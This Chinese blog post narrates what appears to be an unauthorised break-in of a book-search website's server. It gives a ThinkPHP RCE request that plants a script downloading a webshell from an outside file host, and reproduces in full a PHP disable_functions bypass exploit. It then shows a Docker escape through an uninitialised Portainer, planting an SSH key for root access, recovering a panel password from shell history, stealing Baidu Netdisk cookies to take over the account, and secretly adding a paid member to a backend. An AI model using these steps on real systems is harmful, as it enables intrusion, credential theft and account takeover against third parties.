一个搜书网站的渗透测试实战
心血来潮,翻到一个站点,以前简单看了下但是没打~
信息收集
先来一遍 Goby 大保健套餐也没指望能扫到漏洞,重点关注下端口就行
扫描结果发现以下开放端口:
| 端口 | 服务 | 说明 |
|---|---|---|
| 22 | SSH | 远程登录服务 |
| 80/443 | Web | HTTP/HTTPS 服务 |
| 888 | phpMyAdmin | 宝塔面板默认的 phpMyAdmin 服务端口 |
| 9000 | Portainer | 容器管理工具管理端口 |
提示
通过端口分布可以看出,该服务器使用了宝塔面板 + Docker 的部署架构。
ThinkPHP 远程命令执行
这个站点忘了关 ThinkPHP 的调试模式,随手瞅瞅就搞出了 ThinkPHP 的报错页面~
注意
ThinkPHP 5.0.22 存在远程命令执行漏洞。调试模式开启时,框架会暴露详细的错误信息和文件路径,为攻击者提供便利。
ThinkPHP 5.0.22 存在远程命令执行漏洞,一般的 EXP 长这样,原理就是通过 invokefunction 调用 call_user_func_array 实现远程命令执行,vars 变量表示参数。
GET /index.php?
s=index/think/app/invokefunction
&function=call_user_func_array
&vars[0]=phpinfo
&vars[1][]=4值得注意的是,这个网站并没有 index 模块,只有 admin 模块,所以需要将 index 替换为 admin(你问我怎么知道?你去用 ThinkPHP 开发不就知道了~)
可以执行命令就想办法写个马上去~
用 https://files.catbox.moe 生成一个大马的直链,写个脚本来下载大马:
<?php$options = array("ssl"=>array("verify_peer"=>false, "verify_peer_name"=>false,));$context = stream_context_create($options);$data = file_get_contents("https://files.catbox.moe/z6eajy.php", false, $context);file_put_contents("/www/wwwroot/export/export/public/i.php",$data);echo "ok";下面是完整的数据包:
GET /index.php?s=admin/think/app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/www/wwwroot/export/export/public/test.php&vars[1][]=%3C%3Fphp%0A%0A%24options%20%3D%20array(%22ssl%22%3D%3Earray(%22verify_peer%22%3D%3Efalse%2C%20%22verify_peer_name%22%3D%3Efalse%2C))%3B%0A%24context%20%3D%20stream_context_create(%24options)%3B%0A%24data%20%3D%20file_get_contents(%22https%3A%2F%2Ffiles.catbox.moe%2Fz6eajy.php%22%2C%20false%2C%20%24context)%3B%0Afile_put_contents(%22%2Fwww%2Fwwwroot%2Fexport%2Fexport%2Fpublic%2Fi.php%22%2C%24data)%3B%0Aecho%20%22ok%22%3B%0A上面就表示,将下载大马的脚本存储到 /www/wwwroot/export/export/public/test.php 文件来,文件路径可以通过 ThinkPHP 的报错获得。
我们直接访问 test.php 就可以将大马下载到 /www/wwwroot/export/export/public/i.php。
执行结果
访问 test.php 后返回 ok,说明脚本执行成功,大马已写入目标目录。
接着访问大马~
大马界面
访问 i.php 后可以看到蚁剑/菜刀等 Webshell 管理工具的登录界面,连接后即可获取 Web 权限。
- Linux 内核是 3.10.0 的,理论上有漏洞,不过不要抱太大希望。
- PHP 版本是 7.2,禁用了一些命令执行的函数,但是
disable_functions防不住我们~
PHP 命令执行绕过
Important
以下 Exploit 仅用于学习研究,请勿用于非法用途。
针对 PHP 7.0-7.4 的 disable_functions bypass PoC 如下(来源:mm0r1):
<?php# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)## Bug: https://bugs.php.net/bug.php?id=76047# debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability.## This exploit should work on all PHP 7.0-7.4 versions# released as of 30/01/2020.## Author: https://github.com/mm0r1pwn("uname -a");function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();}执行 id 看了下,不出意外是 www 权限~
执行结果
输出显示当前用户为 www 用户,组权限也为 www。
Linux 内核提权漏洞利用
使用 linux-exploit-suggester 脚本简单探测下,发现一堆疑似存在的漏洞~
不过试了几个没成功,也忘了截图...
其他信息收集
宝塔面板
通过文件浏览可以很明显看到这个服务器有宝塔面板的特征。
Docker 容器逃逸
Web 端口研究了半天没什么进展,就跑去看看 9000 端口了。
发现他的 Portainer 虽然启动了,但是还没初始化,我就顺路帮他初始化了~
Portainer 界面
初始化后可以查看到容器列表,可以看到跑了一堆容器。
一般情况下 Docker 是采用 root 权限运行,宿主机和容器共享 root 用户。
随便进一个容器看下,默认就是 root 权限。
容器内权限
进入容器后执行 id,输出显示为 root 用户。
我们重新起一个容器,并挂载宿主机 root 目录到容器下的 root 目录。
操作提示
挂载宿主机目录到容器内,是 Docker 容器逃逸的常见手法之一。
本机创建 ssh 公钥和私钥,并将公钥写入容器的 /root/.ssh/authorized_keys 文件中,为了避免覆盖原有的 root 公钥,先进行备份。
cp authorized_keys auth写入公钥:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzpBCqkLEtSxxnVInGWNQf1uQH3ehWZt+YYrT0GJX3yim1UBJS1+xvSwx0Ta3zHFDQZo1Di4pi8m+RQLn9gWMRdQO4z6301+ij0RmDCMuthGsStdbOsgcHVkUj66YrGf5ehMzZR041+5WIn95ALi8vtNPyD1A+OAPwhNqW2c4WKGBcTrgZA+sg6Z0WbGkPe9sGO0OI0GL7qZwm6jtuOJ9YKqIa4dYOWVM1tJX9d8m0wZl8EgpaS4Xio26iTBNxFL0kC0CkQgWkobPlEXF+x/UNWJxhMLdGLqt+TmDqptedy1F9v5yQxkLrUtM0wTJM2Ysvur7+XCdKNdippeLwmlfTAuofw/IJVngq770IlwFu1OP9iGOTGZ8Tu5aFNKRNBhQaXq1jwypqooo3Vy8XYt8ahXSpFqNl8L8i7j8sAg86amkAcmCYuOW9WwJUi/pW3vxJzvz0hejkKEQ60NneZDewe3Cxy4tLs2tTtXJNMcEyDMlHE54KGV7w8znxQJgWho0= " >> /root/.ssh/authorized_keys使用私钥进行登录,以 root 权限登录成功。
SSH 登录
使用私钥登录宿主机 root 账户成功,获得完整系统权限。
宝塔面板
使用 bt 获取宝塔面板登录信息。
不过这个登录信息始终无法登录,推测修改过密码,使用 history 命令查看历史更改,发现一个修改密码的命令。
试了下,登录成功。
宝塔登录
使用历史命令中找到的密码成功登录宝塔面板后台。
百度网盘
容器跑的是百度网盘的采集器,不出意外在某个目录找到了百度网盘的 Cookie。
通过偷天换日之法~替换本地浏览器百度网盘的 Cookie,成功登录他的百度网盘。
发现
我感觉百度网盘的羊毛都被他薅秃了... 可能包含大量会员账号信息。
百度网盘采集器
通过删除配置文件进行重新注册登录后台,登录成功。
将配置文件修改回去,就可以看到会员列表。
偷摸加个超级会员进去,就可以从前台登录啦~
采集器后台
成功登录百度网盘采集器管理后台,可查看会员列表并进行操作。